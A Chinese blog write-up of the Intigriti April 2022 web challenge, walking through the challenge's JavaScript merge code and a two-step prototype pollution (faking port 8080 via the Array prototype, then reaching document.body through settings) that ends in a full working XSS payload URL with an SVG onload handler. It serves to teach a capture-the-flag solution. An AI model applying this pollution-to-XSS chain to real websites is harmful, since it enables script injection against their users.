原型链污染 --- 2022.04ctf

目录

首先查看源码​编辑

分析

原理

第一次污染

第二次污染

污染config和settings的解


挑战的地址:Intigriti April Challenge

首先查看源码

此时是无法看到源码的,需要进入到Window Maker的界面

此时在查看源码就可以看到源码了 

由于源码比较多,我们不可能逐一分析。在原型链污染的漏洞中,我们首先就要查找merge函数

        function main() {
          const qs = m.parseQueryString(location.search)

          let appConfig = Object.create(null)
          appConfig["version"] = 1337
          appConfig["mode"] = "production"
          appConfig["window-name"] = "Window"
          appConfig["window-content"] = "default content"
          appConfig["window-toolbar"] = ["close"]
          appConfig["window-statusbar"] = false
          appConfig["customMode"] = false

          if (qs.config) {
            merge(appConfig, qs.config)
            appConfig["customMode"] = true
          }

          let devSettings = Object.create(null)
          devSettings["root"] = document.createElement('main')
          devSettings["isDebug"] = false
          devSettings["location"] = 'challenge-0422.intigriti.io'
          devSettings["isTestHostOrPort"] = false

          if (checkHost()) {
            devSettings["isTestHostOrPort"] = true
            merge(devSettings, qs.settings)
          }

          if (devSettings["isTestHostOrPort"] || devSettings["isDebug"]) {
            console.log('appConfig', appConfig)
            console.log('devSettings', devSettings)
          }

          if (!appConfig["customMode"]) {
            m.mount(devSettings.root, App)
          } else {
            m.mount(devSettings.root, {view: function() {
              return m(CustomizedApp, {
                name: appConfig["window-name"],
                content: appConfig["window-content"] ,
                options: appConfig["window-toolbar"],
                status: appConfig["window-statusbar"]
              })
            }})
          }

          document.body.appendChild(devSettings.root)
        }

        function checkHost() {
          const temp = location.host.split(':')
          const hostname = temp[0]
          const port = Number(temp[1]) || 443
          return hostname === 'localhost' || port === 8080
        }

        function isPrimitive(n) {
          return n === null || n === undefined || typeof n === 'string' || typeof n === 'boolean' || typeof n === 'number'
        }

        function merge(target, source) {
          let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]

          for(let key in source) {
            if (protectedKeys.includes(key)) continue

            if (isPrimitive(target[key])) {
              target[key] = sanitize(source[key])
            } else {
              merge(target[key], source[key])
            }
          }
        }
        function sanitize(data) {
          if (typeof data !== 'string') return data
          return data.replace(/[<>%&\$\s\\]/g, '_').replace(/script/gi, '_')
        }

        main()

分析

此题最终的触发流程在于document.body.appendChild(devSettings.root)

所以我们需要去修改devSettings.root的属性,往上追溯,如果要走到这个流程,必须改使得checkHost( )的值为ture,才能够进入merge方法中,对devSettings对象的值进行修改。

function checkHost() {
  const temp = location.host.split(':')
  const hostname = temp[0]
  const port = Number(temp[1]) || 443
  return hostname === 'localhost' || port === 8080
}

checkHost( )的判断条件为hostname等于localhost或是port等于8080,显然从正常情况下看来,无论如何都不可能满足这个条件的。但是作者在这里设计了一个很巧妙的代码,重点在于temp[1],temp是一个数组,从数组中取了下标1这个值。

'1' == 1
//ture
a['1'] == a[1]
//ture

JavaScript中,数组的下标可以用字符或是字符串数字来取值,所以在原型链中,我们可以给[ ]对象添加一个名称为1的属性,这样temp再通过下标1取值的时候,实际上取到的是数组中属性为1的值

[].constructor.prototype['1'] = 8080
//[1: 8080, constructor: ƒ, concat: ƒ, copyWithin: ƒ, fill: ƒ, find: ƒ, …]

根据代码逻辑,我们需要同时满足对象类型为Array,为什么这里要使用到Array呢?

原因就是appConfig["window-toolbar"] = ['close']是一个类似数组的对象,满足要求的只能是数组,因为下面的代码在取值的时候是以数组的形式在取值,因此赋值的时候也肯定要以数组的形式来传递。

 可被merge的参数,满足这样条件的只有

appConfig["window-toolbar"] = ["close"]

我们的伪代码应当为

appConfig["window-toolbar"].constructor['1'] = 8080

接下来要做的,就是继续去替换devSettings.root的值了,替换body中的即可。

原理

第一次污染

因为只有满足了appConfig["customMode"] = ture才能够让qs.Config替换掉appConfig,这样程序下能继续往下走。

传递的参数是

?config[window-toolbar][constructor][prototype][1]=8080

其中的constructor就相当于是Object原型

第二次污染

这次传递的是settings,需要满足devSettings["isTestHostOrPort"] = ture,才能满足merge函数,使得qs.settings能够替换到devSettings。然后使得程序能够继续往下走。

这里虽然settings传递进来了,但是是以key,vlaue的形式肯定是不行的,此时我们的root是创建出来的main。此时要给main中插入我们的HTML代码肯定是不能这样传值的,以上面这种方式肯定是插不进去的,此时我们思考的是,先用main找到我们的document,在找到body,依次往下找,最终找到我们可以插入的值。

污染config和settings的解法

payload

?config[window-toolbar][constructor][prototype][1]=8080&settings[root][ownerDocument][body][children][1][outerHTML][1]=%3Csvg%20onload%3Dalert(1)%3E

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

努力学IT的小徐

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值